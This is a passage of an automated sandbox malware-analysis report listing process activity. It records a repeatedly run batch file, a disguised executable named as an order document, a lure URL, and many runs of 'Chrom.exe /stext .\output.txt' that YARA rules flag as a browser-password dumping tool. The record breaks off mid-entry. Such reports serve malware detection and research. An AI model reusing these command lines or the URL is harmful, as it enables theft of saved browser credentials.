Has exited:	false

Show Windows behavior

Target ID:	94
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	95
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Imagebase:	0x290000
File size:	543'744 bytes
MD5 hash:	B7DE28D4862B78D70CC0E6234049B842
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000060.00000002.3769898751.000000000356F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000060.00000002.3769898751.0000000003481000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	97
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000062.00000000.2162248898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000062.00000002.2625228135.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000063.00000000.2162785797.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000063.00000002.3700096707.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	100
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000064.00000002.2587572003.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000064.00000000.2165271808.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000065.00000002.2606116653.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000065.00000000.2165308142.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000066.00000000.2175232961.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000066.00000002.2588160235.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	21:37:19
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000067.00000002.2626860695.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000067.00000000.2164912041.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000068.00000002.2549956688.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000068.00000000.2166550837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000069.00000000.2167577882.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000069.00000002.3724861066.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	106
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000006A.00000002.2602366163.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000006A.00000000.2167561689.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000006B.00000000.2174276817.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000006B.00000002.2616430429.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000006C.00000002.2613059247.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000006C.00000000.2187300825.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	21:37:20
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	118
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	119
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	124
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	125
Start time:	21:37:21
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	128
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	129
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	130
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	131
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000083.00000002.2623943009.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000083.00000000.2190697668.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	132
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	133
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	139
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	147
Start time:	21:37:22
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	158
Start time:	21:37:23
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	169
Start time:	21:37:24
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	173
Start time:	21:37:24
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	193
Start time:	21:37:26
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	207
Start time:	21:37:28
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	216
Start time:	21:37:32
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	232
Start time:	21:37:33
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	237
Start time:	21:37:34
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	266
Start time:	21:37:35
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	279
Start time:	21:37:35
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	292
Start time:	21:37:36
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	298
Start time:	21:37:36
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	308
Start time:	21:37:36
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	314
Start time:	21:37:36
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	319
Start time:	21:37:36
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
